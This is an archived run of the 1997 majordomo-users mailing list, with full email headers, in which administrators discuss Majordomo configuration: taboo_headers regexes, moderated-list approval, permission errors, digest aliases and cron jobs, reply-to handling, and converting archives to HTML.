[version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk [ Rich Pieri writes: ] > >>>>> "DW" == Dave Wolfe writes: > > DW> So the moral to this longish story is, never ever ever manually edit > DW> list config files. > > And the moral of *this* story is: how? There is no documentation > whatsoever in regards to seting taboo_headers or taboo_body anywhere > in the documentation. The only thing vaguely resembling such is a pair > of demonstrably incorrect examples. I believe I addressed what was wrong with the examples at the beginning of the post referenced, but it gets down to the fact that they're Perl regular expressions. The best documentation I can offer is the Perl Reference Manual (perlre.pod in its raw form), the 2nd edition Camel (_Programming Perl_), or the excellent _Mastering Regular Expressions_ by Jeffrey Friedl. -- Dave Wolfe From owner-majordomo-users-outgoing Mon Jun 9 07:36:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA02946 for majordomo-users-outgoing; Mon, 9 Jun 1997 07:13:51 -0700 (PDT) Received: from firewall.edvg.co.at (firewall.edvg.co.at [192.164.36.131]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id HAA02896 for ; Mon, 9 Jun 1997 07:13:40 -0700 (PDT) Message-Id: <9706092314.AA3778@lngate.notes.edvg.co.at> To: majordomo-users@greatcircle.com (majordomo-users) From: Niels_Hansa@edvg.co.at (Niels Hansa) Date: 9 Jun 97 16:11:28 EDT Subject: Approval to moderated list -- answer found Mime-Version: 1.0 Content-Type: Text/Plain Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi! Finally i found the answer (with a little help): the liste is supposed to look like this: approved: moderated1.admin and not: approve: moderated1.pass OK. now i know moderated1.admin is the default passwd for list admin purposes. And according to the config file. moderated1.pass is the default password to approve mails to a moderated list, _NOT_ ;-))) Thx 4 help, Niels From owner-majordomo-users-outgoing Mon Jun 9 07:40:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA04786 for majordomo-users-outgoing; Mon, 9 Jun 1997 07:22:21 -0700 (PDT) Received: from srv.ival.es (srv.ival.es [194.75.72.58]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA04557 for ; Mon, 9 Jun 1997 07:21:38 -0700 (PDT) Received: from 1.IVAL (infov01.ival.es [194.75.68.161]) by srv.ival.es (8.8.5/8.8.5) with SMTP id QAA32274 for ; Mon, 9 Jun 1997 16:30:29 +0200 Message-Id: <3.0.1.32.19970609162114.00688c94@correo.ival.es> X-Sender: enrique@correo.ival.es X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Mon, 09 Jun 1997 16:21:14 +0200 To: majordomo-users@greatcircle.com From: Enrique =?iso-8859-1?Q?Rodr=EDguez?= =?iso-8859-1?Q?_L=E1zaro?= Subject: I need help Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello, my name is Enrique. My system: Majordomo 1.94.3 Linux Red Hat 4.2 Pentium Intel Sendmail 8.8.4 Perl 5.003 I have a problem. When a send a request unsubscribe the result is >>>> unsubscribe test >>> Sorry, an error has occurred while processing your request >>> The caretaker of Majordomo ( Majordomo-Owner@correo.ival.es ) has been notified >>> of the problem. and in the server machine the probleme is MAJORDOMO ABORT (mj_majordomo)!! chown(0, 0, "/usr/test/majordomo-1.94.3/lists/test.new"): Operation not permitted I know that is a problem about permissions. How can I resolver it? Thank you. From owner-majordomo-users-outgoing Mon Jun 9 07:42:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA04089 for majordomo-users-outgoing; Mon, 9 Jun 1997 07:19:06 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA04029 for ; Mon, 9 Jun 1997 07:18:40 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA12800 for ; Mon, 9 Jun 1997 10:19:13 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA17611; Mon, 9 Jun 1997 10:19:14 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: taboo stuff References: <199706091323.IAA17828@miaow.risc.sps.mot.com> X-No-Archive: yes Date: 09 Jun 1997 10:19:13 -0400 In-Reply-To: Dave Wolfe's message of Mon, 9 Jun 1997 08:23:41 -0500 (CDT) Message-ID: Lines: 28 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "DW" == Dave Wolfe writes: DW> The best documentation I can offer is the Perl Reference Manual DW> (perlre.pod in its raw form), the 2nd edition Camel (_Programming DW> Perl_), or the excellent _Mastering Regular Expressions_ by Jeffrey DW> Friedl. What is wrong with putting a correct example or three in the Majordomo documentation, where they should be? -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5wQ356VRH7BJMxHAQG0wAP/U6oiEXiYbYVzSheSY9i/ljHFjlzMcE+5 NOjhhWmp0SzK4y2DyHxfbwroAsRKPPqpHnVJG+2EYV5b37zdoVt+QOTB0bzriGCK 7VOW8t8YXgTsJVGvj+SfknmUtsoL76ak3zQzotPa8jRrqMAOv2gCa+281eb/31GI vuCTFHyejnU= =8UM6 -----END PGP SIGNATURE----- -- Rich Pieri | Warning: pregnant women, the Prescient Technologies, Inc. | elderly, and children under 10 A Stone & Webster Company | should avoid prolonged exposure to I speak for myself, not PTI or SWEC | Happy Fun Ball. From owner-majordomo-users-outgoing Mon Jun 9 07:46:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA06219 for majordomo-users-outgoing; Mon, 9 Jun 1997 07:28:09 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA05987 for ; Mon, 9 Jun 1997 07:27:19 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA12957 for ; Mon, 9 Jun 1997 10:28:03 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA17858; Mon, 9 Jun 1997 10:28:04 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: reply-to's References: X-No-Archive: yes Date: 09 Jun 1997 10:28:04 -0400 In-Reply-To: Manar Hussain's message of Mon, 9 Jun 1997 10:47:53 +0100 (BST) Message-ID: Lines: 33 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "MH" == Manar Hussain writes: MH> and as you and I both know this is the whole problem - we don't have MH> this control and too many people use shot software ... so back in the MH> real world ... To put it into highly technical terms, you are screwed. Something other than the originator messing around with originator headers is a Bad Idea(tm). The worst that can happen is that mail gets lost because of improper header rewriting; for a mailing list that is not a good thing. Besides, when software like mailing list managers start trying to cope with the deficiencies of bad MUAs it removes the onus of fixing MUA problems from those who write bad MUAs and can negatively encourage others as well, making the situation worse. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5wS8J6VRH7BJMxHAQGclwQArpz5Xi5EZ6f/FIX3a2zEkrr80J9aqCFw Py2mPcav+lwXaoIH2vPLpxIzMOEGEnQ8cn6ilToI+liVXoYsBwqSwaOUzvp669RC wX6NslzgD1SEtebXXgFVTYJskfLTIeD6hr8LWKc4ZfJAdTQ7EI16T3LZZ4E8JE+O vajff5uqnm4= =4SyU -----END PGP SIGNATURE----- -- Rich Pieri | If Happy Fun Ball begins to smoke, Prescient Technologies, Inc. | get away immediately. Seek shelter A Stone & Webster Company | and cover head. I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Mon Jun 9 07:49:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA29741 for majordomo-users-outgoing; Mon, 9 Jun 1997 06:57:15 -0700 (PDT) Received: from storm.simpson.edu (storm.simpson.edu [198.206.243.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA29718 for ; Mon, 9 Jun 1997 06:57:05 -0700 (PDT) Received: from bull.simpson.edu by storm.simpson.edu; (5.65v3.0/1.1.8.2/29Dec94-0353PM) id AA26259; Mon, 9 Jun 1997 08:57:59 -0500 Message-Id: <9706091357.AA26259@storm.simpson.edu> Date: 09 Jun 97 08:56:46 +0000 From: Kevin Schneider Subject: Re: Digest/archive help To: Jason L Tibbitts III Cc: "majordomo-users" X-Mailer: QuickMail Pro 1.5b3 X-Priority: 3 Mime-Version: 1.0 Reply-To: Kevin Schneider Content-Type: multipart/alternative; boundary="====50494955515748565256===1" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk --====50494955515748565256===1 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="US-Ascii" Jason L Tibbitts III wrote: >>>>>> "KS" == Kevin Schneider writes: > >KS> We have several lists that had been being archived and digested, but >KS> for some reason they are no longer getting processed. The lists work >KS> fine in that people are getting the postings. > >Show us the relevant portion of your aliases for one such malfunctioning >list. > > - J< > I'm not sure which are the relevant parts for a particular list, so here is a section of the aliases file that pertain to one list called www-admin. Another piece of information to add, when a message is posted to this list I get an error message with the following in it (previously this message was going to somebody else until I changed the aliases file): 451 Who are you?: Invalid argument Undefined subroutine &main::abort called at /usr/users/listservs/majordom/ digest.pl line 401. 554 "|/usr/local/bin/wrapper digest.pl -r -c /usr/users/listservs/majordom /digest/www-admin-digest.cf"... unknown mailer error 13 The aliases file (each line starts with a +) +owner-www-admin: schneide +www-admin: "|/usr/local/bin/wrapper resend -l www-admin -r www-admin@storm.simpson.edu -h storm.simpson.edu -s +www-admin-outgoing" +www-admin-owner: owner-www-admin +www-admin-approval: www-admin-owner +www-admin-outgoing: :include:/usr/users/listservs/majordom/lists/www-admi n,www-admin-digestify +www-admin-request: "|/usr/local/bin/wrapper request-answer www-admin-l" +owner-www-admin-request: www-admin-owner +www-admin-digestify: "|/usr/local/bin/wrapper digest.pl -r -c +/usr/users/listservs/majordom/digest/www-admin-digest.cf" +www-admin-digest:www-admin +owner-www-admin-digest: schneide +owner-www-admin-digestify: schneide +www-admin-digest-send:"|/usr/local/bin/wrapper resend -p bulk -l www-admin-digest -f www-admin-digest-owner -h +storm.simpson.edu -s www-admin-digest-outgoing" +owner-www-admin-digest-send:www-admin-digest-owner +www-admin-digest-outgoing: :include:/usr/users/listservs/majordom/lists/w ww-admin-digest +owner-www-admin-digest-outgoing: www-admin-digest-owner +www-admin-digest-request: "|/usr/local/bin/wrapper request-recording www-admin-digest" +owner-www-admin-digest-request: www-admin-digest-owner +www-admin-digest-approval: schneide +www-admin-digest-owner: schneide +owner-www-admin-digest-owner: schneide Thanks again. --====50494955515748565256===1 Content-Type: text/html; charset="US-Ascii" Content-Transfer-Encoding: 7bit Jason L Tibbitts III wrote:
      >>>>>> "KS" == Kevin Schneider <      schneide@storm.simpson.edu> writes:
      >
      >KS> We have several lists that had been being archived and digested, but
      >KS> for some reason they are no longer getting processed. The lists work
      >KS> fine in that people are getting the postings.
      >
      >Show us the relevant portion of your aliases for one such malfunctioning
      >list.
      >
      > - J<
      >

      I'm not sure which are the relevant parts for a particular list, so here is a section of the aliases file that pertain to one list called www-admin. Another piece of information to add, when a message is posted to this list I get an error message with the following in it (previously this message was going to somebody else until I changed the aliases file):

      451 Who are you?: Invalid argument
      Undefined subroutine &main::abort called at /usr/users/listservs/majordom/digest.pl line 401.
      554 "|/usr/local/bin/wrapper digest.pl -r -c /usr/users/listservs/majordom/digest/www-admin-digest.cf"... unknown mailer error 13

      The aliases file (each line starts with a +)

      +      owner-www-admin: schneide
      +www-admin: "|/usr/local/bin/wrapper resend -l www-admin -r www-admin@storm.simpson.edu -h storm.simpson.edu -s +www-admin-outgoing"
      +www-admin-owner: owner-www-admin
      +www-admin-approval: www-admin-owner
      +www-admin-outgoing: :include:/usr/users/listservs/majordom/lists/www-admin,www-admin-digestify
      +www-admin-request: "|/usr/local/bin/wrapper request-answer www-admin-l"
      +owner-www-admin-request: www-admin-owner
      +www-admin-digestify: "|/usr/local/bin/wrapper digest.pl -r -c +/usr/users/listservs/majordom/digest/www-admin-digest.cf"
      +www-admin-digest:www-admin
      +owner-www-admin-digest: schneide
      +owner-www-admin-digestify: schneide
      +www-admin-digest-send:"|/usr/local/bin/wrapper resend -p bulk -l www-admin-digest -f www-admin-digest-owner -h +storm.simpson.edu -s www-admin-digest-outgoing"
      +owner-www-admin-digest-send:www-admin-digest-owner
      +www-admin-digest-outgoing: :include:/usr/users/listservs/majordom/lists/www-admin-digest
      +owner-www-admin-digest-outgoing: www-admin-digest-owner
      +www-admin-digest-request: "|/usr/local/bin/wrapper request-recording www-admin-digest"
      +owner-www-admin-digest-request: www-admin-digest-owner
      +www-admin-digest-approval: schneide
      +www-admin-digest-owner: schneide
      +owner-www-admin-digest-owner: schneide


      Thanks again.       --====50494955515748565256===1-- From owner-majordomo-users-outgoing Mon Jun 9 07:55:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA10841 for majordomo-users-outgoing; Mon, 9 Jun 1997 07:53:45 -0700 (PDT) Received: from haydn.metsci.com (metsci.com [149.94.0.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id HAA10834 for ; Mon, 9 Jun 1997 07:53:40 -0700 (PDT) Message-Id: <199706091452.KAA03667@haydn.metsci.com> Received: forwarded by SMTP 1.5.9. Date: Mon, 9 Jun 1997 10:55:44 -0400 (EDT) From: Stephanie Trinh To: majordomo-users@GreatCircle.COM Subject: MIME type Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-MD5: 6vG9mIlTgIigOYQ3f7HffA== Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello, I'm running MJ-1.94.1 on a Linux box. Is there a way to make MJ understand mine typed messages ? Very often, users send out word document to the list and MJ can't understand it. Another question is, is there an existing utility that will convert the archived messages (archive2) to html format ? Thanks, -stephanie From owner-majordomo-users-outgoing Mon Jun 9 08:42:34 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA17268 for majordomo-users-outgoing; Mon, 9 Jun 1997 08:29:08 -0700 (PDT) Received: from spsem02.sps.mot.com (spsem02.sps.mot.com [192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA17240 for ; Mon, 9 Jun 1997 08:28:58 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA03226 for majordomo-users@greatcircle.com; Mon, 9 Jun 97 08:29:31 MST Received: from risc.risc.sps.mot.com (risc.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA20215 for majordomo-users@greatcircle.com; Mon, 9 Jun 97 08:29:30 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.7.1/8.7.1) with ESMTP id KAA20518; Mon, 9 Jun 1997 10:29:29 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id KAA13778; Mon, 9 Jun 1997 10:29:26 -0500 From: Dave Wolfe Message-Id: <199706091529.KAA13778@miaow.risc.sps.mot.com> Subject: Re: taboo stuff To: rich.pieri@prescienttech.com (Rich Pieri) Date: Mon, 9 Jun 1997 10:29:26 -0500 (CDT) Cc: majordomo-users@greatcircle.com In-Reply-To: from "Rich Pieri" at Jun 9, 97 10:19:13 am Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk [ Rich Pieri writes: ] > > What is wrong with putting a correct example or three in the Majordomo > documentation, where they should be? Absolutely nothing, please feel free to submit your additions to Mj-workers. I've already submitted a patch to correct the existing example in sample.cf. -- Dave Wolfe From owner-majordomo-users-outgoing Mon Jun 9 08:55:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA19556 for majordomo-users-outgoing; Mon, 9 Jun 1997 08:43:41 -0700 (PDT) Received: from estafeta.uam.es (estafeta.uam.es [150.244.9.25]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA19392 for ; Mon, 9 Jun 1997 08:42:40 -0700 (PDT) Received: from cogorza.sdi.uam.es (cogorza.sdi.uam.es [150.244.9.56]) by estafeta.uam.es (8.7.5/8.7.3) with SMTP id RAA10382 for ; Mon, 9 Jun 1997 17:44:19 +0200 (MET DST) Message-Id: <3.0.1.32.19970609174645.006b55b0@acebo.sdi.uam.es> X-Sender: mer@acebo.sdi.uam.es X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Mon, 09 Jun 1997 17:46:45 +0000 To: majordomo-users@greatcircle.com From: Mercedes Gimenez Subject: two little questions Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello all. I have been doing test whith a moderated list. I send a mail whith: approved: password and then the body of the mail In this case, the mail arrive to the list : line 1 line 2 Sender: owner-test@estafeta.uam.es Precedence: bulk line 3 Gim=3DE9nez (the accents arent ok) but if I send the mail whith: approved:password ----> blank line the tex of the mail in this case the mail is ok (accents include) I am running majordomo 1-9.4 in a sun whith sendmail 8.7.5 Any ideas?? Thanks in advanced, Mercedes=20 *********************************************************************** Mercedes Gim=E9nez Barrio Phone: +34-1-397.5153 Servicio de Inform=E1tica Fax: +34-1-397.3914 Universidad Aut=F3noma de Madrid mail: mercedes.gimenez@uam.es Cantoblanco E-28049 Madrid Spain *********************************************************************** From owner-majordomo-users-outgoing Mon Jun 9 09:07:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA21610 for majordomo-users-outgoing; Mon, 9 Jun 1997 08:54:41 -0700 (PDT) Received: from stingray.ivision.co.uk (stingray.ivision.co.uk [194.154.62.72]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA21582 for ; Mon, 9 Jun 1997 08:54:29 -0700 (PDT) Received: from stingray.ivision.co.uk [194.154.62.72] by stingray.ivision.co.uk with smtp (Exim 1.62 #1) id 0wb6m1-0003bc-00; Mon, 9 Jun 1997 16:54:25 +0100 Date: Mon, 9 Jun 1997 16:54:25 +0100 (BST) From: Manar Hussain Reply-To: manar hussain To: Rich Pieri cc: majordomo-users@greatcircle.com Subject: Re: reply-to's In-Reply-To: Message-ID: Organisation: Internet Vision MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >To put it into highly technical terms, you are screwed. Something other >than the originator messing around with originator headers is a Bad >Idea(tm). The worst that can happen is that mail gets lost because of >improper header rewriting; for a mailing list that is not a good thing. >Besides, when software like mailing list managers start trying to cope with >the deficiencies of bad MUAs it removes the onus of fixing MUA problems >from those who write bad MUAs and can negatively encourage others as well, >making the situation worse. Then I guess I'll live in the real world and be screwed. I didn't say anything about manipulating the headers - just using them to decide not to include the author or one of the other named recipients of the mail in the list of people the *mailing list software* decides to pass the mail onto. Your comments aren't very helpful (IMHO) and if you want to take it further I suggest you mail me direct (hence the reply-to being set to me). Manar From owner-majordomo-users-outgoing Mon Jun 9 09:40:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA27618 for majordomo-users-outgoing; Mon, 9 Jun 1997 09:26:18 -0700 (PDT) Received: from prs.hk.homegate.net ([202.66.88.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA27490 for ; Mon, 9 Jun 1997 09:25:45 -0700 (PDT) Received: (qmail 7403 invoked by uid 1011); 9 Jun 1997 16:34:28 -0000 Date: Tue, 10 Jun 1997 00:34:28 +0800 (HKT) From: Rino Lam X-Sender: rinolam@prs.hk.homegate.net To: majordomo-users@greatcircle.com Subject: Filter out attachments In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello, I would like to setup a mailing list with no email attachments. Is there a way to filter all the binary attachments and let the text item go through the list only ? I am sure that somebody are doing similar things in their mailing lists, but I cannot find any document on this. Thank you in advance. Regards, Rino From owner-majordomo-users-outgoing Mon Jun 9 09:41:57 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA26066 for majordomo-users-outgoing; Mon, 9 Jun 1997 09:17:55 -0700 (PDT) Received: from turbot.dfo.ca (cod.mar.dfo-mpo.gc.ca [142.2.18.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA26006 for ; Mon, 9 Jun 1997 09:17:39 -0700 (PDT) Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for Majordomo-Users@GreatCircle.COM id NAA14260; Mon, 9 Jun 1997 13:14:38 -0300 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199706091614.NAA14260@ecology.bio.dfo.ca> Subject: archive2 -> HTML To: Majordomo-Users@GreatCircle.COM (Majordomo Users) Date: Mon, 9 Jun 1997 13:14:31 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Stephanie Trinh askes: >Another question is, is there an existing utility that >will convert the archived messages (archive2) to html >format ? MHonArc does this, and very nicely. A new version has just come out, so I'll reply to the list in case some of you missed the announcement: MHonArc v2.1 is now available. See (http://www.oac.uci.edu/indiv/ehood/mhonarc.html) for more information and for downloading. I haven't tried the new version, but MHonArc v2.0 has been doing a great job for me. -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 From owner-majordomo-users-outgoing Mon Jun 9 09:55:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA16691 for majordomo-users-outgoing; Mon, 9 Jun 1997 08:26:13 -0700 (PDT) Received: from boeing.erdas.com (BOEING.ERDAS.COM [199.74.193.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA16637 for ; Mon, 9 Jun 1997 08:25:59 -0700 (PDT) Received: from erdas.com by boeing.erdas.com (SMI-8.6/SMI-SVR4) id LAA03034; Mon, 9 Jun 1997 11:26:33 -0400 Received: from nepenthe by erdas.com (SMI-8.6/SMI-SVR4) id LAA07592; Mon, 9 Jun 1997 11:25:52 -0400 Message-ID: <339C20A6.3866@erdas.com> Date: Mon, 09 Jun 1997 11:26:30 -0400 From: Dane Williams X-Mailer: Mozilla 3.01Gold (X11; I; SunOS 5.5 sun4u) MIME-Version: 1.0 To: majordomo-users@greatcircle.com CC: dwilliams@erdas.com Subject: Digest Environment Tweeks Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello, I am new to list administration, have gotten Majordomo configured on our server, have successfully gotten a couple of lists with digests created, and am now in the testing/tweeking stage,... 1) I have observed a digest format on a couple of digest-lists to which I am subscribed which I would like to repeat. The delivered digest includes a ~table of contents~ which is tacked onto the front of each mailed digest. This ~table of contents~ is a listing of all the subject lines included in that days transactions. This appears to be the default under "Listserv" but I have also seen it with Majordomo (contacted the listowner and got no reply). Is this a customized script or a Majordomo option which I am overlooking? 2) I am able to generate digests but they appear to be created by the "digest_maxlines" config variable rather than "digest_maxdays". I can generate the digest daily with a cron job but if I can do it within majordomo then I would rather,... 3) I am a little confused by presence of both the $list.config and $list-digest.config files. The $list.config has digest variables in it and appears to be the file which is accessed by majordomo. What is the use of the $list-digest.config file? Duplicating work or conflicting parameter settings would seem to be the result of the existance of both files. Am I missing something? Thank you for your time! Dane Williams -------------------------Dane Williams--------------------------- -------------------Applications Analyst--------------------- --------------dwilliams@erdas.com------------------- From owner-majordomo-users-outgoing Mon Jun 9 10:02:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA17973 for majordomo-users-outgoing; Mon, 9 Jun 1997 08:32:02 -0700 (PDT) Received: from btr0x1.hrz.uni-bayreuth.de (btr0x1.hrz.uni-bayreuth.de [132.180.8.29]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA17909 for ; Mon, 9 Jun 1997 08:31:42 -0700 (PDT) Received: from btgidi.bgi.uni-bayreuth.de by btr0x1.hrz.uni-bayreuth.de (4.1/btr0x1 (UBTGW/btr0x1-2.4.7)) id AA03170; Mon, 9 Jun 97 17:32:16 +0200 Message-Id: <9706091532.AA03170@btr0x1.hrz.uni-bayreuth.de> X-Sender: btgi43@btr0x1.hrz.uni-bayreuth.de X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 09 Jun 1997 17:32:15 +0100 To: majordomo-users@GreatCircle.COM From: Kurt Klasinski Subject: subjects on top of a digest ! Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk after many fights (mailbombing myself) and a couple of beers everthing seems to be okay i am running linux 4.4.1 kernel 2.0.29 ************************************************************ * is there any possibility to include the subjects off all * * posted messages on top of a digest ??? * ************************************************************ my current settings for a test list called ducati are cron job: ------------ 00 4 * * * /usr/lib/majordomo/wrapper makeindex.pl /var/lib/majordomo/lists/ducati.archive 30 4 * * * /usr/lib/majordomo/wrapper makeindex.pl /var/lib/majordomo/lists/ducati-digest.archive 00 5 * * * echo mkdigest ducati-digest (passwd) | mail majordomo@btgix5.bgi.uni-bayreuth.de ------------ # settings in aliases mdom: root owner-owner: postmaster majordomo: "|/usr/lib/majordomo/wrapper majordomo" owner-majordomo: root, majordomo-owner: root, major: "|/usr/lib/majordomo/wrapper majordomo" owner-major: root, major-owner: root, ducati: "|/usr/lib/majordomo/wrapper resend -lducati -hbtgix5.bgi.uni-bayreuth.de ducati-outgoing" ducati-outgoing: :include:/var/lib/majordomo/lists/ducati,"|/usr/lib/majordomo/wrapper digest -R - C -l ducati-digest ducati-digest-outgoing","|/usr/lib/majordomo/wrapper archive2.pl -f /var/lib/ma jordomo/lists/ducati.archive/ducati.archive -m -a" ducati-request: "|/usr/lib/majordomo/wrapper request-answer ducati" ducati-approval: kurt, owner-ducati: kurt, ducati-owner: kurt, owner-ducati-request: owner-ducati owner-ducati-outgoing: owner-ducati ducati-outgoing-owner: owner-ducati ducati-digest: ducati ducati-digest-outgoing: :include:/var/lib/majordomo/lists/ducati-digest ducati-digest-request: "|/usr/lib/majordomo/wrapper request-answer ducati-digest" ducati-digest-approval: ducati-approval owner-ducati-digest-outgoing: owner-ducati ducati-digest-outgoing-owner: owner-ducati owner-ducati-digest-request: owner-ducati owner-ducati-digest: owner-ducati ducati-digest-owner: owner-ducati ------------------------------ any idea kurt From owner-majordomo-users-outgoing Mon Jun 9 10:07:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA18040 for majordomo-users-outgoing; Mon, 9 Jun 1997 08:32:21 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA17975 for ; Mon, 9 Jun 1997 08:32:02 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id LAA14069 for ; Mon, 9 Jun 1997 11:32:22 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id LAA19650; Mon, 9 Jun 1997 11:32:22 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: taboo stuff References: <199706091529.KAA13778@miaow.risc.sps.mot.com> X-No-Archive: yes Date: 09 Jun 1997 11:32:21 -0400 In-Reply-To: Dave Wolfe's message of Mon, 9 Jun 1997 10:29:26 -0500 (CDT) Message-ID: Lines: 31 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "DW" == Dave Wolfe writes: >> What is wrong with putting a correct example or three in the Majordomo >> documentation, where they should be? DW> Absolutely nothing, please feel free to submit your additions to DW> Mj-workers. I've already submitted a patch to correct the existing DW> example in sample.cf. Um, Dave, maybe you missed everything I was trying to say... BUT I DO NOT HAVE ANY TO SUBMIT BECAUSE I DO NOT KNOW WHAT WORKS BECAUSE THERE ARE NO EXAMPLES AND THERE IS NO DOCUMENTATION!!! -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5wiAJ6VRH7BJMxHAQGIkwP7BqpNAxxhAdCZAnj2Krai892i2jn6uUSn BiEcmTJgnEJLPpKftmfL4gFmekYzLuOovZgTvLgpfGGKuhNPM3447YaY9HxOO4nA 